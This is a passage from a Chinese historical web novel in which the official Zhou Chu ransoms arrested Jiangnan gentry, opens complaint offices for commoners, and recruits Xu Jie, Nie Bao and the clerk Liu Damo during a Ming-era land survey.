许铭领命之后就开始安排人手对这些被抓的士绅和恶奴进行身份的登记,刚开始还有些士绅虚报身份,试图将自己伪装成下人,但他们身上的衣服却出卖了他们,被识破之后,直接当着众人的面执行军法。 这让原本心存侥幸的士绅们一个个心惊胆战,再也不敢有歪心思。 杀鸡儆猴之后,身份的登记异常顺利,半个时辰左右,许铭就拿着登记好的文书,来到了周楚面前。 “大人,全部都已登记在册。” 许铭说着将手中的文书双手递给周楚。 周楚接过了文书,翻看了一下,发现这近两万人之中,真正的士绅富户,也才不到两千人,剩下的基本都是豪奴。 这些对周楚而言,可都是钱。 那些被抓的士绅家里的人得到消息之后,一个个急的团团转,特别是听说很多士绅豪奴被斩杀在当场,心中更是急火攻心,纷纷开始想办法走门路,看看能不能将自己家老爷捞出来。 第二天,正当一众士绅的家人急的团团转,束手无策的时候,一个消息不知道从哪里传了出来,说是苏州府的锦衣卫千户陈昭那里有门路可以走。 原本走投无路的众人仿佛看到了明灯,纷纷备上厚礼,前往陈昭府上求门路。 经过这些人的多方打听,最终得到了具体的消息,想捞这些豪奴,一个二十两银子,想捞那些士绅,一个三万两银子。 这个价格是周楚定的,不算太高,主要是走量。 在牙行买一个新奴才,身强力壮,能看家护院的,怎么也得十几二十两银子,关键还不一定有以前的这些奴才用的顺手,还不一定忠心。 这些豪奴,很多都是士绅们从小培养的,忠诚度自然比那些新买的要强的多。 至于这些士绅,每个三万两白银,也是周楚定下的,这三万两必须得是白银,不要铜钱。 如果是铜钱的话,周楚会要更多,不过周楚此举为的就是收束一下这些江南士绅的白银。 如果说整个大明哪里的白银最多,无疑是江南,江南商会的那些富商,每个最少都有几十万两白银。 这些士绅纵然参差不齐,但三万两白银努努力还是拿得出来的,即便有少数实在是没有的,也会想办法凑钱,这不是周楚需要考虑的问题。 如此一来,仅仅这两千左右的士绅,便可以为朝廷收束近六千万两白银。 大明明面上的白银总量大概在八亿两左右,但实际上远远不止这些。 因为元朝商业税以及很多问题,很多士绅以及富户都把自家的白银埋了起来,这部分白银很多,再加上江南这些年不断地走私,东瀛的白银不断流入江南,隐藏的白银数是惊人的。 很快,这些士绅的家人开始一个个排着队往陈昭那里送钱,为了防止陈昭吃了猪油蒙了心,周楚还特地让林鹿带人在陈府盯着。 不是周楚不信任陈昭,实在是这笔钱数目太大,财帛动人心,周楚坚信一个道理,倘若不想让一个人背叛自己,就不要给他背叛的机会。 与此同时,这件事很快传到了苏州府以外的地区,整个江南的士绅都知道了这件事,知道有人要在苏州府丈量土地,还因此抓了数万人。 一时之间,民怨沸腾,因为文官们和这些士绅们的煽风点火,不明真相的百姓们都以为朝廷要对他们加收税赋,无数百姓纷纷暴怒,正在暗中不断积聚着一股极为可怕的力量。 周楚自然也得到了这个消息,不屑的笑了笑。 “大人,都火烧眉毛了,你怎么还笑得出来。” 严嵩急的团团转道。 第131章 恐怖的江南士绅,周楚的对策 在任何朝代,底层的百姓和朝廷之间都很难建立起直接有效的沟通方式。 或者说大部分朝代,无论是朝廷还是皇帝根本不太在乎底层百姓的死活。 哪怕是说出水能载舟亦能覆舟的唐太宗李世民,李世民口中的百姓,指的并非底层的百姓,而是寒门以及门阀士族。 底层百姓从来都是当权者眼中的筹码。 而底层百姓和朝廷之间沟通的桥梁,历朝历代又有所不同,唐朝之前,是门阀士族沟通上下。 五代十国之后,乃至北宋建立,文人士大夫,以及士绅阶层就成了沟通上下的阶层。 这一点到元朝发展到了巅峰。 蒙古人对汉人的管理极为宽松,明太祖朱元璋都说过,元以宽亡。 元朝实施的是包税制,将税收承包给汉人的士大夫士绅阶层,蒙古人只要固定的税收,真正盘剥百姓的不是蒙古人,而是汉人的士绅阶层。 这也是为何明太祖朱元璋建立大明之后,不断屠戮前朝遗留下来的官员的根本原因。 这些官员之中或许有极个别是好的,但九成九都已经从根上烂透了。 不过即便朱元璋一生屠戮了如此多的官员,但对元朝遗留下来的士大夫士绅阶层也不过是九牛一毛罢了。 所以元朝那些士绅阶层存在的毛病就这么被传承下来了,大明建国之初,士绅阶层还都有所收敛,不敢太过肆无忌惮。 明太祖朱元璋驾崩之后,这些人就忍不住露出了獠牙,以黄子澄等人为首的这些文官,便开始怂恿朱允炆血腥削藩。 只有削掉所有的藩王,再扫除武将勋贵们,整个大明便又是他们说了算了。 不过黄子澄等人又蠢又坏,太过着急,削藩削出个永乐大帝,靖难之役再次将百官屠戮了一遍。 于是这些人又蛰伏了起来。 直到所谓的仁宣之治,这些人又开始冒头了,从此一发不可收拾。 如今的士绅阶层,掌控着整个江南,欺上瞒下,上令下不达,或者说上面给了什么政策,完全取决于他们怎么对底层的百姓说。 原本没有的税,到他们他们口中就有了。 所以无论是张居正的一条鞭法,亦或是雍正实行的摊丁入亩以及火耗归公,从来都不是基于底层百姓着想的,也不是在考虑百姓的死活。 说白了,无论是张居正还是雍正,都只是在想办法为朝廷弄钱。 一条鞭法和摊丁入亩火耗归公这些政策实施之后,士绅阶层的收入少了,他们便会层层加码,加在底层百姓身上,百姓的生活非但没有变好,反而变得更坏。 因为他们没有和朝廷沟通的手段,他们只能是哑巴,不能说话。 这一点,海瑞看的最为透彻,海瑞认为,一条鞭法只适合在江南这种富庶之地实行,不适合在整个大明实施。 大明之所以会亡,就是因为士绅阶层垄断了向下的话语权,朝廷一旦拿他们开刀,他们便会变本加厉欺压底层百姓,于是各地活不下去的百姓纷纷造反。 很多人认为朱姓宗室子弟占了朝廷的近一半支出,其实这不过是文官们的抹黑罢了。 有记载的,哪怕到了明朝末期,明朝宗室子弟供养确实需要消耗朝廷收上来的粮食的一半。 但朝廷的税赋从来都不只是粮食。 而且绝大多数宗室子弟,到了一定阶段,都直接回凤阳守灵去了,因为守灵还能混个温饱,在封地很多甚至饭都吃不上。 如今的江南,朝廷也面临同样的问题,士绅阶层垄断了上下沟通的桥梁,所以任何改革,任何的政策,都没办法达到预期的效果,甚至最后会达到反效果。 周楚对苏州府近两千士绅做的事,如同风暴一般,迅速传遍了整个江南士绅阶层。 江南的这些士绅自然不会坐以待毙,他们很清楚,苏州府的丈量土地只是开始,倘若苏州府能顺利清丈,那么下一步便是整个江南。 这是他们不能容忍的,吃进去的土地,隐藏起来的土地,又怎么可以被重新清丈出来呢? 周楚动的不是一个人的利益,而是整个江南,乃至整个大明最具话语权的一个阶层的利益。 所以当初崔文奎得知周楚想做这件事的时候,才会如此吃惊。 他从不认为周楚能做成这件事,即便周楚如今在江南可谓是权势滔天,说一不二。 杀一些人很简单,这一点很多人都能做到,比如大太监刘瑾。 但真正的想做出一些改革的时候,难如登天。 历史上但凡想要改革的,如王安石,基本都是人死政息。 这一点不只是崔文奎清楚,周楚更清楚。 别看之前周楚走的一帆风顺,似乎是想做什么便做什么。 但周楚很清楚,自己做的这些,甚至没有改变大明的任何根本局势,改变的不过是朝堂上的局势,让皇权暂时占了上风。 想要将大明这艘破船修好,要走的路还无比漫长。 江南的这些士绅自然要做出反击,于是便开始对底层百姓加码,并将这一切都推给朝廷,说是朝廷让他们这么做的。 如此一来,本就有些不堪重负的百姓,便更加困难,很多眼看着都要活不下去了,只缺一把火,便能引爆整个江南。 所以严嵩才会如此着急,他甚至都不敢深想,一旦江南的这些百姓被引爆,将会对大明造成多大的打击,到时候整个江南恐怕都会一片狼藉。 “介溪先生,何必如此着急,急事需缓办,越急越容易出错。” 周楚老神在在地喝了口茶道。 严嵩看着周楚智珠在握的模样,以他对周楚的了解,明白周楚应该是有了解决之法。 “大人,你就别卖关子了。” 严嵩说道。 “介溪先生,你以为江南这些百姓如今的光景,归根结底是什么原因造成的?” 周楚笑道。 “应该是江南的这些士绅对底层百姓加税,然后推到朝廷头上,百姓自然对朝廷不满。” 严嵩想了想说道。 “介溪先生这话对也不对,没说到根本上。” “根本原因还是底层百姓和朝廷之间没有有效的沟通方式,百姓有苦难言,有冤难伸,既然如此,我们完全可以为江南的百姓暂时建立起一个和朝廷沟通的桥梁。” 周楚说道。 严嵩听到这话,眼睛顿时亮了。 “通知江南省各府的锦衣卫所,让他们对外张贴布告,就说朝廷没有增加任何赋税,但凡有人以朝廷的名义横征暴敛,欺压百姓,百姓都可以到当地的锦衣卫所鸣鼓申冤。” “一经查实,直接将这些欺压百姓的士绅官员抓起来,同时勒令各府锦衣卫所,此事期间,任何一个锦衣卫胆敢推诿不作为,直接军法处置,这件事了,所有锦衣卫每人奖励一百贯钱。” 周楚神色冷峻地看着旁边陈昭说道。 随后,周楚又让人将苏州府的荣门老大冯瞎子叫了过来。 冯瞎子有一只眼睛是蒙着的,看上去就像瞎了一只眼。 实际上他的眼睛一个都没瞎,这些不过是他乞讨的手段罢了。 “大人,您有何吩咐?” 冯瞎子来到周楚面前,卑躬屈膝道。 别人或许不知道周楚的所作所为,但他是知道的,正是因为知道,冯瞎子在周楚面前连一点其他心思都不敢有。 他可不敢惹的眼前这位活阎王不高兴。 “将这个莲花落记住,然后教给苏州府乃至整个江南的荣门子弟,这些天日日传唱,过后让所有荣门弟子都去当地的锦衣卫所领一贯钱。” 周楚说着将自己刚写好的莲花落交给了冯瞎子。 冯瞎子是识字的,这一点周楚清楚。 一贯钱并不多,但对这些荣门子弟而言,唱莲花落不过是顺手的事,何乐而不为? 周楚正是要双管齐下,将江南的这些士绅的计谋彻底击碎。 周楚倒要看看,这些人引火自焚的模样。 第132章 学生徐阶,见过大人 周楚让锦衣卫的人盯着那些胥吏继续丈量土地,丈量土地所用的尺子都是周楚提供的。 毕竟这些负责丈量土地的胥吏的尺子多多少少都有些问题,甚至很多人都有两套尺子,一套偏长,一套偏短。 除此之外,丈量土地还有很多小手段,比如尺子拉的紧不紧,这其中都存在龌龊。 周楚特意将这些都告知了负责监督的锦衣卫,一旦发现任何做手脚的,直接就地砍了。 胥吏的命,无人在意,死了也就死了。 如此杀了几个暗中做手脚的胥吏之后,剩下负责丈量土地的胥吏一个个心惊胆战,再也不敢有其他心思。 人教人教不会,事教人一遍会。 江南省的每个府,周楚都派了数千军队过去,帮助锦衣卫立威造势,但凡有人敢撕了告示的,直接抓起来杀一儆百,至于告示,撕了继续补上便是。 如此一来二去,再也没人敢冒天下之大不韪去撕告示了。 除此之外,为了防止那些读书人从中使坏,每一份告知之前,周楚还让锦衣卫安排人当众宣读,至于告示的内容,基本都是白话,而不是拗口的文章,基本上当时周楚怎么说的,陈昭便让人怎么写的。 如此一来,百姓们也就不存在听不懂的情况,很容易理解告示的内容。 再加上各地乞丐的莲花落,最底层的百姓很快就明白了是怎么回事。 合着不是朝廷要加税,而是这些豪绅和官老爷们要从他们身上捞钱? 如果这事放在以往,他们也就忍了,毕竟底层百姓实在是没地方伸冤,也没地方去说,直到忍不了,就会爆发叛乱。 但现在明显形式不同了,各府锦衣卫所在各县都临时设置了衙门,专门处理这件事,一时之间,所有的锦衣卫临时衙门纷纷爆满,无数百姓在排队伸冤来,控告那些地方豪绅。 至于周楚,则带着沈炼和林鹿在江南省各府县之间巡查,一旦发现哪些锦衣卫有推诿不作为的现象,直接军法处置,绝不容情。 当然,暗中还跟着很多锦衣卫。 即便如此,周楚这一路上,还是遭遇了无数意外,住的地方两三天就走一次水,还不断地有人刺杀,这让周楚感觉自己仿佛回到了当初刚来苏州府的路上。 周楚从来都不是好说话的人,这些人但凡敢在夜里派人刺杀的,周楚直接集结部分虎贲军,就近对附近的士绅进行清洗抄家。 周楚不需要弄清楚是谁想要刺杀自己,直接以倭寇的名义在附近将这些士绅们无差别清洗。 周楚可不想千日防贼,正所谓久守必失,次数多了,总有一两次会着了他们的道。 只有让这些人感到疼,感到害怕,他们才不敢出手。 如此清洗了几次之后,那些士绅一个个都感到胆寒,他们怎么都没想到,周楚完全不按套路出牌,甚至不需要查是谁派出的人去刺杀的。 如此一来,再也没人敢派人刺杀,即便有人想这么做,也会被其他人阻止,他们可不想被连累。 丈量土地,大不了损失一些利益,损失的也不只是他们一家的利益,虽然肉疼却也不是难以接受。 但如果惹了这个活阎王,那可是抄家灭族的大祸,关键还没地方说理去。 谁让以前他们联合江南商会养寇为患,现在只能说是自食苦果,有口难言。 如此过了些时日,周楚再也没遇到过走水,也没再遭遇刺杀,甚至连想投毒的都没了。 “看来大人说的很对,这些人果然是欺软怕硬。” 连续多日没有遭遇任何意外,沈炼反倒有些不太适应了。 此时周楚等人所在的地方正是松江府华亭县的锦衣卫临时衙门。 和其他府县的锦衣卫临时衙门有所不同,华亭县这里处理起事务来,似乎远比其他府县要快的多。 “大人。” 一众锦衣卫见到周楚,急忙行礼道。 现在整个江南各府的锦衣卫,没有不认识周楚的,周楚为了防止乌龙事件,早已让人将自己和沈炼林鹿的画像传到了各府的锦衣卫所。 周楚可不想走到哪里都来一次扮猪吃老虎的经历。 “你们这里怎么处理的这么快?莫非在应付百姓?” 周楚有些不解道。 “大人,属下岂敢,这华亭县刚好有我们千户大人认识的一个后辈才子,他主动请缨替我们处理这些事,自然比我们这些大老粗处理的要快得多。” 为首的百户急忙解释道。 “哦?是何人?” 周楚疑惑道。 “此人姓徐名阶,字子升,是华亭县知县聂大人的学生。” 眼前的百户不敢隐瞒,如实回答道。 周楚听到这话,倒是有些意外,没想到会这么巧,刚来华亭县,就遇到了徐阶。 至于华亭县的聂大人,正是徐阶的老师聂豹,不过现在的聂豹还不是王阳明的学生,这个阳明心学的正统传人,恐怕要再晚两年,等王阳明办了书院之后,才会拜入王阳明门下。 聂豹倒也是个人才,或许将来能在书院任教。 可惜徐阶却为周楚所不喜。 此人太擅长伪装,也太过伪善,做事往往滴水不漏,即便是六科的官员对他都挑不出毛病。 这种人一旦成长起来,很容易尾大不掉。 不过周楚也清楚,徐阶的平步青云几乎是注定的,如今的江南集团在朝中势单力孤,只有一个夏言左支右拙,培养新的代言人势在必行。 徐阶再合适不过,本身就是松江府人士,是他们江南本地人,和本地士绅牵扯颇深。 此时徐阶跳出来帮锦衣卫所处理这些事,恐怕也是在做给朝廷看,为将来入仕铺路,毕竟一旦入仕,曾经做过的任何事都是可以拿出来说的功绩。 周楚相信,此时的徐阶和江南集团还没有纠缠在一起,不过被江南集团盯上也只是时间问题。 周楚信步走入锦衣卫临时衙门,看到上首坐着另外一个锦衣卫百户,旁边则站着一个气度非凡的翩翩公子哥,不断地低声对百户提建议,百户连连点头,对下面百姓提出的冤情处理的信手拈来。 很快,坐在上首的百户注意到了周楚一行人,顿时大惊,急忙起身,来到周楚面前行礼。 “属下见过大人,不知大人大驾光临,有失远迎。” 旁边的徐阶看到一个锦衣卫百户居然对眼前的年轻人如此恭敬,顿感惊讶,不过很快就想明白了,想来眼前这个看上去和自己年岁相当的年轻人便是今日传的沸沸扬扬的锦衣卫百户周楚。 周楚如今虽然只有十七岁不到,但眉宇之间早已没了稚嫩,言行之间自带一番威严气度,远非常人可比,徐阶虽然十九岁,却也以为周楚和自己年岁相当。 “学生徐阶,见过大人。” 徐阶急忙上前见礼道。 第133章 徐阶和聂豹,陆炳抵达安南 周楚看着眼前的徐阶,这是一个比严嵩要难以掌控的多的人,也是一个要复杂的多的人。 所谓大奸似忠,说的便是徐阶这种人。 周楚敢用严嵩,敢用张璁,是因为周楚了解这两人,严嵩忠奸且不论,但一旦选择站队,起码实心用事,张璁更不必多说,算的上半个名臣了,对皇帝可谓是呕心沥血。 但眼前的这位不同,纵观整个嘉靖一朝,嘉靖在位期间,如果说哪个内阁首辅超出了嘉靖的掌控,脱离了嘉靖的预期,那便是眼前的徐阶。 到了嘉靖晚年,严嵩倒台之后,嘉靖才赫然发现,以前这个低眉顺目的徐阁老,突然变成了一只老虎,一只脱离了他掌控的老虎。 以至于徐家在徐阶成为内阁首辅的短短几年期间,疯狂鲸吸整个大明的财富,最后到嘉靖手上的钱,甚至远不如严嵩在位的时候。 嘉靖醒悟的时候,已经晚了,他迟暮了,不想大明在自己在位的最后几年再发生动荡,便只能认了。 所以对于徐阶,周楚没有太多的好感,却也不会因此就打压他。 徐阶还年轻,距离他的终极目标还有几十年,起码在这之前,他都是很好用的,周楚和徐阶在职务上本身便不存在什么太大的冲突。 除了提醒自己的大哥陆炳不要和他交往过密,被他徐家吃了绝户之外,其他倒也不太用得着提防徐阶。 “你便是徐子升?” 周楚看向徐阶道。 徐阶听到这话,心中一喜,他在自己老师那里打听到了一些消息,眼前这个少年绝不只是一个锦衣卫百户这么简单,他身后跟着的两个侍卫,其中一个是阳明先生的学生,另一个则是德清公主的长子。 还是封了侯的那种。 林鹿和沈炼的身份在江南已经算不上什么秘密了,聂豹作为华亭县知县,再加上本身的能力又突出,能知道这些很正常。 徐阶来锦衣卫临时衙门帮忙,也是聂豹这个老师推荐的。 周楚的话,让徐阶有种受宠若惊的感觉,他没想到这么一位大人物还知道自己。 “学生正是。” 徐阶躬身道。 “这里有你帮忙,也算不错,比他们这些大老粗强多了。” 周楚笑了笑。 “今年的乡试你应该也会参加吧?” 周楚继续问道。 “回大人的话,学生确实准备参加今年的应天府乡试。” 徐阶恭敬道。 “好好考,以你的才华,区区一个乡试应该不难。” 周楚这话也不过是顺水推舟罢了,原本的历史上,徐阶便是在今年的应天府乡试以第七名考中举人,来年的会试,更是名列一甲,殿试一一甲第三名探花及第。 周楚想到这里打量着眼前的徐阶,以他的皮相,能探花及第倒也不意外。 徐阶听到这话,顿时大喜,这种大人物每一句话都至关重要,今日周楚随口说的这句话,日后都可以成为他的履历之一。 他之所以不抓紧读书,而是听了老师的话来帮锦衣卫的忙,为的不就是履历吗? 周楚自然也清楚徐阶所求,所以这句话也算是帮他镀个金,顺手的事,也好让他接下来实心帮锦衣卫处理那些士绅们。 离开了锦衣卫临时衙门,周楚直奔华亭县县衙而去。 对于聂豹这个华亭县知县,周楚还是很感兴趣的,这个人是个干才,也是个实心任事之人。 后来阳明心学的发扬光大,聂豹功不可没。 周楚来到县衙的时候,聂豹正在埋头处理公务,得到旁边胥吏的提醒,聂豹才知道有外人前来。 “下官见过周大人。” 聂豹一看眼前三人,顿时明白了周楚的身份,华亭县的锦衣卫衙门成立的时候他去过,还为这事忙前忙后的,自然见过周楚三人的画像。 “聂大人不必多礼,本官听闻前些日子聂大人为锦衣卫衙门的事费心费力,特来感谢。” 周楚笑道。 “周大人此言,实在是折煞下官了,那些士绅们对百姓层层加码,本官却也无可奈何,只能尽自己最大的努力,庇护一些百姓,多亏了大人雄才大略,有此一计,那些士绅的谋划便不攻自破,他们完全是搬起石头砸自己的脚,下官对大人佩服的五体投地。” 聂豹此言倒不是纯粹的拍马屁,大部分都是发自真心的。 周楚听到这话,顿感神清气爽。 “这江南事务,以后还要聂大人多多帮衬,聂大人这等实心任事的干才,才是我大明需要的。” 周楚感慨道。 如聂豹这种干才,三十五六岁却只能任一个知县,满朝文官,尸位素餐,一个个溜须拍马,只知道捞钱,却位列庙堂。 想要大明有所改变,就需要像聂豹这种,对底层有着清晰认知,又有能力的官员。 只有这种官员多起来,大明才会慢慢好转。 “大人谬赞了,下官不过是做自己的分内之事罢了。” 聂豹笑道。 另外一边,陆炳自己带着数千骑兵作为先头部队,一路急行军,此时已经来了安南境内,虽然早有预料,但当他看到安南举国向大明归顺的时候,还是满心震撼,这等泼天大功,他拿的有些不安心。 特别是他见到自己的小妹的时候,看着眼前和之前判若两人,英姿飒爽的小妹,陆炳一时之间有些恍惚。 “大哥,你发什么愣呢?” 云瑾笑道。 “我只是没想到你会这么厉害,你才多大,满打满算也才十二岁吧,我和你一般大的时候。。” 一提到这里,陆炳就有些羞愧难当。 “大哥何必比较,你是我大哥,更何况我自小跟在二哥身旁,得二哥悉心教导,把二哥当成了目标。” 云瑾挽了挽耳边的发丝,莞尔道。 看到这一幕,陆炳才从云瑾身上找到了一丝那个曾经熟悉的小妹的身影。 “是啊,衡器简直就是个妖孽,跟在他身边,想成为庸才都难。” 陆炳感慨道。 衡器比自己小了不少,但做的每一件事,都是惊天的,可以说陛下能有如今的局面,全赖衡器一人,和衡器一比,自己做的简直微不足道。 “婉儿,这功劳我不能要,回头我代你向陛下请功吧。” 陆炳说道。 云瑾听到这话,却摇了摇头。 “大哥万万不可,这功劳只有你拿着合适,我这玄武军对外是保密的,暂时不适合公开,而且倘若我军功在身的话,陛下对我,对二哥,以及对我陆家,都会生出几分忌惮。” 云瑾神色严肃道。 她还有一句话没说,一旦她军功在身,皇帝很难眼看着她和周楚在一起,甚至走的太近。 这绝不是云瑾想要看到的局面。 陆炳听到这话,神色一凝,也明白了其中的关键。 “如此,太过委屈你了。” 陆炳看着自家小妹,满脸心疼道。 “不委屈,只要能帮到大哥和二哥,我便心满意足了,倒是玄武军的这些将士,前段时间斩杀了不少倭寇,还请大哥代我替他们请功。” 云瑾说着将之前记好的军功册子,交给了陆炳。 陆炳将册子小心收好。 “放心,我定办好。” 第134章 聂豹的助攻,关键人物刘大漠,兴奋的沈炼 刘大漠是华亭县的一个胥吏,主要职责便是丈量土地。 对于丈量土地之中的一些龌龊,刘大漠一清二楚,却又无可奈何。 每次干活的时候,他只能眼睁睁的看着那些同僚将百姓的土地量的多两三成,士绅们的土地则少两三成,如此,百姓们无以为继,只能将手中的土地献给士绅或者官员家中,再从他们手中租地耕种。 刘大漠对这种事一直都是看不下去的,却又无可奈何,他的许多同僚看他如此伤春悲秋,都说他是见识少了,心才会软,见的多了,心就硬了。 或许吧,刘大漠经常在心里对自己这么说。 但每次看到有百姓因此家破人亡,刘大漠的心仍然会忍不住悸动。 能丈量土地的,数术方面一定不会太差,不然也干不了这个。 刘大漠的父亲从小便教他数术,为的就是等他长大成人之后接他爹的班。 后来刘大漠的父亲发现自己的儿子对数术特别有天赋,七八岁时候的刘大漠,在数术一途已经超过了他的父亲。 当然,这和他爹数术学的一般也脱不开关系,毕竟对胥吏而言,数术够用就行,不需要学的太深。 但刘大漠不同,他痴迷数术,一直都研究的很深,所以对于同僚的那些故意为之错误,他愈发难以忍受。 不过他也清楚,凭自己一个人,是万万不敢去改变什么的,否则恐怕死都不知道怎么死的。 刘大漠就此纠结了多年,痛苦了多年,最终还是没忍住,自己趁着休沐闲暇的时间,偷偷一个人丈量华亭县的土地,并记录成册。 这件事刘大漠一做就是十几年,因为做的极为隐晦,而且多数都是打着官府的名义,下面的那些人也不会有人怀疑,哪怕偶尔因此被上官责问,刘大漠也有的是办法搪塞过去。 本来这件事没有其他人知道,刘大漠是很安全的,但坏就坏在刘大漠对周围人的恶缺乏足够的认知。 刘大漠和一个同僚关系极好,甚至把他当成了兄弟,有一次两人喝多了,刘大漠忍不住将自己做的这件事拿出来炫耀。 结果这人转身就把刘大漠出卖了,第二天,刘大漠在家喝醉之后,突然走水。 等刘大漠醒来的时候,发现自己被知县聂大人救了下来,同时被救的还有他的妻女。 得知真相的刘大漠顿时惊出了一身冷汗,恨不得扇自己几巴掌,如果不是因为自己多嘴,也不会为家里惹来如此大祸。 发生了这件事,刘大漠一家自然不敢再露头,对外的说法是刘大漠一家已经死在了那场大火之中。 实际上刘大漠一家在聂豹的庇护之下,不敢露面。 直到周楚到来。 “大人,此人便是下官刚才说的刘大漠。” 聂豹让人将刘大漠带到周楚面前道。 周楚听到这话,看了看眼前这个年近四十的男人,虽然只是四十不到,却看上去异常苍老,和自己的老师唐伯虎五十多岁的状态也差不了多少了。 这倒也正常,一个人承受着这么大的心理压力,再加上本就是底层胥吏,生活品质高不到哪里去,一般都老的快。 “刘大漠,这位是周大人,是通了天的大人物,你的事放眼整个江南,只有周大人能为你做主。” 聂豹看向有些忐忑的刘大漠说道。 刘大漠听到这话,扑通一下跪了下来。 “求大人为小人做主。” “起来回话。” 周楚喝了口茶道。 刘大漠听到这话,才怯懦地站了起来。 “本官且问你,当初你记录的那本册子可还在?” 周楚看着刘大漠问道。 “在的,大人,当初小人为了以防万一,将这个册子多写了一份,其中一份放在架阁库,被那些人知道了,估计早就烧了,但另外一份,小人一直藏着的。” 刘大漠如实回答道。 “沈炼,你带上人,随他走一趟。” 周楚说道。 “是,大人。” 沈炼行礼之后,带上十几个暗中跟随的锦衣卫和刘大漠,去取他藏着的那本册子了。 “得亏华亭县有聂大人这样的父母官,否则这刘大漠一家恐怕就要含冤而死了。” 周楚叹了口气道。 “下官也是惭愧,不能为刘大漠一家主持公道,也只能尽力庇护他们了。” 聂豹有些羞愧道。 “聂大人不必如此,这江南的局势,非聂大人一人可力敌,聂大人保下这刘大漠,已经是帮了本官的大忙了。” 周楚宽慰道。 “周大人敢开如此先河,下官佩服的五体投地,本官听闻周大人这一路巡视下来,遭遇的危险数不胜数,这些人真是无法无天。” 聂豹说到这里,言语之间充满了愤怒。 “不过是些许风霜罢了,倘若这些都熬不过去,本官又怎么敢这么做呢?” 周楚无所谓的笑了笑。 “很多事,总要有人去做的,否则我大明迟早要走前元的老路。” 聂豹听到这话,对眼前这个年轻人愈发敬佩,眼前这个年轻人无论是胆魄、能力或者是格局,都不是自己能比的。 对于周楚曾经做过的事,聂豹多少都有所耳闻,每一件都是惊天动地的大事。 所以聂豹才愈发敬佩周楚,换了其他人,聂豹是不会把刘大漠说出来的,毕竟他不能保证那些人到底是站在哪一边的。 两人谈笑之间,沈炼和刘大漠很快便回来了。 “大人,这便是小人记录的册子。” 刘大漠恭敬地将一本已经泛黄的册子双手递到周楚跟前。 周楚接过册子,开始慢慢翻看。 这本册子记录的十分详细,其中哪一户多贪多占,多占多少,都有详细记录,甚至上面还详细绘制了各家的土地轮廓,旁边都标注着面积。 有了这个册子,整个华亭县完全可以当成重点来抓。 “刘大漠,你可愿来我锦衣卫所任职?” 周楚将册子合上之后,看着刘大漠说道。 “我?我可以吗?” 刘大漠被这突如其来的惊喜砸的有些头晕。 “本官说可以便可以,至于你一家的身契,本官也会为你解决,不必担心。” 周楚从容道。 “大人需要小人做什么?” 刘大漠有些忐忑道。 “倒也简单,我锦衣卫如今在整个苏州府清丈土地,你只需要盯着那些清丈土地的胥吏,不要让他们动手脚就可以了。” 对于那些胥吏,周楚始终是不太放心,锦衣卫在这方面终究是不专业的,那些人真要做手段,锦衣卫未必都能看得清。 但刘大漠不同,这可是行家里的行家,有他盯着,周楚自然放心。 刘大漠听到这话,顿时有些犹豫,他已经吃了一次亏了,所以不太敢得罪那些人了。 “你尽管放心,有周大人在,没人敢动你,更没人敢动你们一家。” 聂豹给了刘大漠一个安心的眼神道。 “小人多谢大人提携。” 刘大漠知道,话已经说到这个份上了,他再拒绝便是不识好歹了。 更何况他已经近一年没有收入了,以前存下的钱眼看着就要花光了,自然不能一直靠着聂大人庇护,见不得光。 周楚的出现,对刘大漠而言,绝对是一个改变命运的重大机遇,刘大漠也清楚,自己如果不趁机抓住,这辈子恐怕都没希望了。 周楚听到这话,满意地点了点头,随后将手中的册子交给沈炼。 “让人将这个册子多誊抄几份,以作备案,然后将它交给松江府的千户,让他带着人按照册子上记录的查抄,该怎么办怎么办。” “是,大人。” 沈炼接过册子,满脸兴奋道。 他似乎已经看到了整个华亭县鸡飞狗跳了。 第135章 严嵩的敬佩,楚璃的担忧,对线昌国公建昌侯 最近大半个月,严嵩基本很少在府衙之中,大部分时间都是在巡视堤坝,自从上次采石场的事之后,严嵩意识到,很多问题在于上令下不达。 特别是在基层,更是如此,这些胥吏和底层官员很容易上下其手。 不过自从上次采石场杀鸡儆猴之后,这种情况便好了许多,不说完全没有,但也改善了七八成。 毕竟锦衣卫所的威慑力在那里摆着,如果说这些日子苏州府的官员和胥吏最怕的,那无疑就是锦衣卫所了。 整个锦衣卫所仿佛一夜之间变了一般,那些原本完全不被他们放在眼里的锦衣卫,此时变得异常嚣张,每遇到一个官员或者胥吏,都恨不得抓起来盘问一番。 这让他们愈发小心,生怕被这些锦衣卫抓住错处,一旦进了锦衣卫所,不死也得脱层皮。 严嵩一直在堤坝上盯着堤坝的修筑进度,这些天干脆直接住在了堤坝之上,一身官袍上面沾满了泥和水泥,脚上的鞋子几乎没干过。 原本还有许多人虎视眈眈,让严嵩心中很是不安,生怕这些人搞破坏。 但当第一批堤坝彻底凝固之后,严嵩让人拿着锤子使劲敲击堤坝,结果只留下一些白印,堤坝甚至一点都没有损伤的时候,严嵩彻底放下心来。 随即便是一阵狂喜,周大人果然没有骗自己,这种堤坝一旦修筑好,最起码也是百年工程,这将是严嵩履历上极为亮眼的一笔,甚至凭借此事青史留名也不无可能。 一想到这里,严嵩就充满了干劲,一点没有因为自己四十多而感觉到疲惫。 这些日子,那些在堤坝旁边一直不怀好意的人越来越少了,严嵩清楚,这是周大人吸引了火力,如今整个苏州府,甚至整个江南的士绅的目光都紧紧地盯着周大人,已经无人在意这堤坝能否修成了。 没办法,周大人现在做的事,对那些士绅和官员而言,才是关乎切身利害的,和周大人做的事相比,堤坝修成与否,对他们而言似乎影响不大。 严嵩不禁想起了大半个月之前,自己去找周大人诉苦,说这些人对堤坝虎视眈眈,暗示周大人能否派些人驻守堤坝。 当时周大人神秘一笑。 “介溪先生,哪有千日防贼的道理?正所谓久守必失,兵法有云,攻敌所必救,本官自有办法,他们马上就没工夫盯着你的堤坝了。” 刚开始,周楚的话让严嵩有些摸不着头脑,直到周楚开始丈量土地,整个苏州府所有士绅的目光瞬间被吸引了过去,再也无人盯着堤坝了。 这让严嵩对周楚无比敬佩,这种做法,即便是严嵩能想到,也是绝对不敢做的,动这些人的土地,自古以来有几个能落得好下场的? 也难怪这些人发狂。 此时整个江南省都乱成了一锅粥,各府各县,都有无数百姓在锦衣卫衙门排队申冤,那些士绅们眼看着自己认识的一个个好友因为此事被抓,一个个顿时慌了神,不知该如何处理了。 这种情况在华亭县尤为突出,松江府的锦衣卫千户亲自带队,拿着刘大漠的那本册子,按照册子上开始抓人审判。 苏州府,楚璃处理完自己手中的事物之后,有些担忧地看向了松江府的方向,这两天她得到了不少关于周楚的消息,知道此时的周楚正在松江府华亭县大动干戈,这让楚璃愈发担忧。 这些天,楚璃周围多了很多不怀好意的人,有几次差点着了道被抓走。 